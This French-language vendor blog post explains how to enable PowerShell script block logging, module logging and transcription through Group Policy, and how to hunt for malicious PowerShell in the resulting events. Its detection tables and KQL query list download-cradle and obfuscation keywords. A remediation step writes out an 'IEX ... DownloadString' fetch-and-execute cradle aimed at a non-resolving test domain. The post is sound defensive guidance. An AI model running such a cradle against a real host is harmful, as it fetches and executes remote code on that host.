Journalisation des blocs de script PowerShell Active Directory GPO : pourquoi c'est un paramètre parmi trois, pas un seul
La journalisation des blocs de script PowerShell Active Directory GPO fait partie, avec la journalisation des modules et la transcription, des contrôles de détection à plus forte valeur que la plupart des environnements Windows laissent encore désactivés par défaut. La journalisation des blocs de script est elle-même un paramètre contrôlé par une stratégie de groupe qui écrit le texte complet de chaque bloc de script PowerShell exécuté sur une machine — y compris le code obfusqué ou généré dynamiquement — directement dans le journal d'événements Windows. Ensemble, ces trois paramètres font la différence entre disposer d'une trace forensique de ce qui s'est exécuté sur un hôte et n'avoir qu'un trou là où un incident a eu lieu.
Cela compte plus que ne le suggère la sévérité au catalogue. Une grande partie du tradecraft post-exploitation moderne est fileless : il s'exécute entièrement en mémoire via PowerShell, sans laisser d'exécutable sur disque que l'antivirus ou l'EDR pourraient détecter par scan de fichiers (Malwarebytes / ThreatDown sur le chargeur PowerShell-vers-Cobalt-Strike de Black Basta). Sans ces trois paramètres GPO, cette activité est effectivement invisible pour votre SIEM.
Comment fonctionnent les trois paramètres
Les trois paramètres se trouvent sous le même chemin de stratégie de groupe — la même classe d'objet couverte dans notre guide sur les mauvaises configurations GPO comme vecteur d'attaque, puisqu'une GPO mal liée ou surchargée ici signifie « activé » seulement sur le papier :
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
| Paramètre | Nom GPO | Clé de registre | Source d'événement |
|---|---|---|---|
| Journalisation des blocs de script | Turn on Script Block Logging | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging (DWORD) | Event ID 4104 |
| Journalisation des modules | Turn on Module Logging | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging (DWORD) + ModuleNames | Event ID 4103 |
| Transcription | Turn on PowerShell Transcription | HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription → EnableTranscripting (DWORD) | Fichiers texte, pas le journal d'événements |
Journalisation des blocs de script (Event ID 4104)
Une fois activée, chaque bloc de script que PowerShell analyse — y compris un bloc encodé en Base64 ou construit à l'exécution par concaténation de chaînes — est journalisé dans Microsoft-Windows-PowerShell/Operational sous l'ID d'événement 4104, avec le contenu désobfusqué inclus. C'est le plus précieux des trois paramètres, car il déjoue l'obfuscation simple : le script de l'attaquant peut sembler illisible sur le fil, mais PowerShell doit le décoder pour l'exécuter, et c'est précisément à ce moment que la journalisation des blocs de script capture le contenu (TrustedSec, « Building a Detection Foundation Part 3: PowerShell and Script Logging »).
Il existe une seconde couche optionnelle dans la même stratégie : Log script block invocation start/stop events, qui émet en plus les ID d'événement 4105 et 4106 pour chaque bloc qui démarre et se termine. C'est un niveau très verbeux, désactivé par défaut même quand la journalisation des blocs de script elle-même est activée, et il génère un volume tel que la plupart des environnements le laissent volontairement désactivé sur l'ensemble du parc.
$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
Journalisation des modules (Event ID 4103)
La journalisation des modules enregistre les détails d'exécution du pipeline pour les modules que vous spécifiez — invocations de cmdlets, paramètres et sortie des objets du pipeline — sous l'ID d'événement 4103. Elle existe depuis PowerShell 3.0 comme propriété LogPipelineExecutionDetails d'un module ; la GPO n'est que le moyen de l'activer à l'échelle du parc. Elle est désactivée par défaut pour chaque module intégré (Microsoft Learn, about_Group_Policy_Settings). Dans la boîte de dialogue Show… de la GPO, vous listez les noms de modules à journaliser ; utiliser * couvre tous les modules, ce que la plupart des environnements devraient faire — journaliser uniquement une liste de modules triés sur le volet crée un angle mort dès qu'un attaquant utilise autre chose.
Transcription (pas d'ID d'événement — fichiers plats)
La transcription est différente par nature : au lieu d'écrire dans le journal d'événements, elle écrit une transcription en texte brut de chaque entrée et sortie PowerShell dans un fichier, à la manière d'un Start-Transcript lancé automatiquement à chaque session. Configurez OutputDirectory vers un partage UNC centralisé et à accès restreint plutôt que de laisser le défaut par utilisateur, et activez Include invocation headers pour horodater chaque commande. Comme les transcriptions sont des fichiers sur disque (ou sur un partage), elles constituent une source forensique distincte du journal d'événements et survivent indépendamment si un attaquant efface les journaux d'événements Windows.
Pourquoi c'est un trou de détection, pas seulement une case de conformité
Des frameworks comme Empire et Cobalt Strike exécutent leurs stagers PowerShell et leurs modules post-exploitation entièrement en mémoire. L'équipe de recherche en détection de Splunk a construit un analytique spécifique pour ce scénario exact — détecter Empire via la journalisation des blocs de script PowerShell — précisément parce que, sans événements 4104, l'exécution en mémoire d'Empire ne laisse rien d'autre à traquer sur l'hôte. La journalisation de création de processus (ID d'événement 4688) montrera bien le lancement de powershell.exe, mais la ligne de commande seule est souvent tronquée, encodée, ou enveloppée dans suffisamment d'obfuscation pour que le quoi — le code réellement exécuté — ne soit récupérable que via le contenu désobfusqué du bloc de script que fournit l'événement 4104 (Splunk, « Hunting for Malicious PowerShell using Script Block Logging »).
Pour un exemple concret : l'analyse par ThreatDown d'une intrusion Black Basta a révélé que le stager PowerShell initial empilait plusieurs cycles d'encodage Base64, de compression et de chiffrement spécifiquement pour déjouer l'inspection statique, avant d'injecter un beacon Cobalt Strike directement en mémoire (ThreatDown, « How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon »). Rien de cette chaîne ne touche le disque d'une manière que les signatures antivirus traditionnelles détectent — la journalisation des blocs de script est ce qui retransforme le blob encodé en PowerShell lisible dans votre journal d'événements, après que PowerShell lui-même a déjà fait le travail de décodage pour vous.
Pour le dire simplement : avec les trois paramètres désactivés, un attaquant exécutant un loader PowerShell encodé et en mémoire ne laisse qu'un événement de création de processus et rien d'autre. Avec eux activés, la même attaque laisse un bloc de script décodé, le pipeline de module qu'il a touché, et une transcription texte de ce qu'il a fait.
Détection
Pour la vue d'ensemble des ID d'événements Windows qui méritent vraiment une place dans votre SIEM, voir Supervision Sécurité AD : Événements Clés. Pour PowerShell spécifiquement :
| Indicateur | Event ID | Source | Ce qu'il faut chercher |
|---|---|---|---|
| Contenu du bloc de script | 4104 | Microsoft-Windows-PowerShell/Operational | Texte de script désobfusqué contenant Invoke-Expression, DownloadString, -EncodedCommand, IEX, chargement d'assembly réflexif |
| Démarrage/arrêt d'invocation de bloc de script | 4105 / 4106 | Microsoft-Windows-PowerShell/Operational | Présent seulement si la journalisation d'invocation est activée séparément ; utile pour corréler le timing exact d'exécution |
| Exécution du pipeline de module | 4103 | Microsoft-Windows-PowerShell/Operational | Cmdlet + paramètres pour des modules hors de la référence normale d'un hôte (ex. Invoke-Mimikatz, Invoke-WMIExec) |
| Création de processus | 4688 | Security | powershell.exe / pwsh.exe avec -nop, -w hidden, -enc, ou des lignes de commande anormalement longues |
| Fichiers de transcription | n/a | Partage OutputDirectory configuré | Journaux de session en texte brut corrélant avec l'horodatage d'un événement 4104 suspect |
Une requête de chasse minimale contre une table d'événements de style Sentinel/KQL, en utilisant le canal Microsoft-Windows-PowerShell/Operational :
Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
"Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
"FromBase64String", "Net.WebClient", "-nop", "-w hidden"
)
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc
C'est un point de départ, pas une détection finie : ajustez la liste has_any à l'outillage admin normal de votre propre environnement, car les modules RSAT, les agents de sauvegarde et les agents EDR apparaissent tous régulièrement dans la télémétrie 4103 et noieront une règle naïve sous les faux positifs. Routez le même canal vers le produit de corrélation que vous utilisez déjà — Sentinel, Splunk ou un SIEM on-prem consomment tous Microsoft-Windows-PowerShell/Operational de la même façon, donc l'effort porte sur le réglage, pas sur la plomberie.
⚠️ Attention : le 4104 seul ne fera pas apparaître le timing de démarrage/arrêt, et la transcription seule ne survivra pas à un attaquant qui désactive les clés de registre de journalisation en cours de session avec des privilèges élevés. Traitez les trois paramètres comme des couches complémentaires, pas comme des substituts les uns aux autres.
Remédiation
💡 Gain rapide : si vous n'activez qu'un seul des trois, que ce soit la journalisation des blocs de script (4104) — elle offre la plus haute valeur de détection pour le plus faible volume de logs, car elle capture du contenu désobfusqué plutôt que du bruit brut de pipeline.
- Activer la journalisation des blocs de script. Dans une GPO liée à vos UO postes de travail/serveurs :
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Script Block Logging→ Enabled. Laissez la sous-option démarrage/arrêt désactivée sauf si vous avez le budget SIEM pour le volume supplémentaire. - Activer la journalisation des modules pour tous les modules. Même chemin de GPO,
Turn on Module Logging→ Enabled → dans Show…, ajoutez*pour qu'aucun module ne reste non journalisé. - Activer la transcription avec un répertoire de sortie centralisé.
Turn on PowerShell Transcription→ Enabled, définissezOutputDirectoryvers un partage UNC en écriture seule (refusez lecture/suppression aux utilisateurs standard), et cochez Include invocation headers. - Router
Microsoft-Windows-PowerShell/Operationalvers votre SIEM. Ces paramètres n'aident que si les événements quittent l'hôte — c'est la même discipline de politique d'audit que celle couverte dans Lacunes de configuration de la politique d'audit Active Directory : assurez-vous que votre configuration de transfert de logs souscrit réellement à ce canal, pas seulement àSecurity. - Vérifier avec
gpresultet le registre, pas seulement la console GPO — confirmez sur un échantillon de serveurs et postes membres que la politique s'est réellement appliquée (gpresult /h report.htmlou en vérifiant les clés de registre ci-dessus), car les erreurs de portée de liaison et de précédence de GPO sont une cause fréquente pour laquelle des politiques « activées » n'atteignent jamais le poste. - Tester le pipeline de bout en bout. Sur un hôte de test isolé, exécutez une commande délibérément signalée mais inoffensive (par exemple
IEX (New-Object Net.WebClient).DownloadString('http://example.invalid')contre un domaine qui ne se résout pas) et confirmez que l'événement 4104 correspondant apparaît à la fois localement et dans votre SIEM. Une GPO qui « s'applique » mais dont les événements n'atteignent jamais le SIEM équivaut fonctionnellement à l'absence de GPO. - Restreindre qui peut modifier la GPO et qui a les droits admin locaux. Les trois paramètres résident dans le registre sous
HKLM; un utilisateur avec des droits admin locaux peut les désactiver, donc scopez délibérément l'appartenance admin locale dans le cadre du même passage de durcissement. Associez cela à des identifiants admin locaux uniques et régulièrement changés — voir Windows LAPS non déployé — et la liste de priorités plus large dans Durcissement Active Directory : quoi verrouiller d'abord.
Comment EtcSec détecte ceci
L'audit Active Directory d'EtcSec vérifie l'état effectif des trois paramètres sur l'ensemble de votre domaine via les entrées de catalogue PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF et PA038_PS_TRANSCRIPTION_OFF, ainsi que le contrôle plus large POWERSHELL_LOGGING_DISABLED, et signale les hôtes ou périmètres de GPO où l'activité PowerShell s'exécuterait sans être journalisée — le même problème de dérive de posture couvert dans Audit de sécurité Active Directory : quoi vérifier d'abord.
ℹ️ Remarque : EtcSec vérifie automatiquement cette vulnérabilité à chaque audit AD. Lancez un audit gratuit pour vérifier que votre environnement ne laisse pas l'activité PowerShell non journalisée.
Explorez les pages identité liées à ce sujet

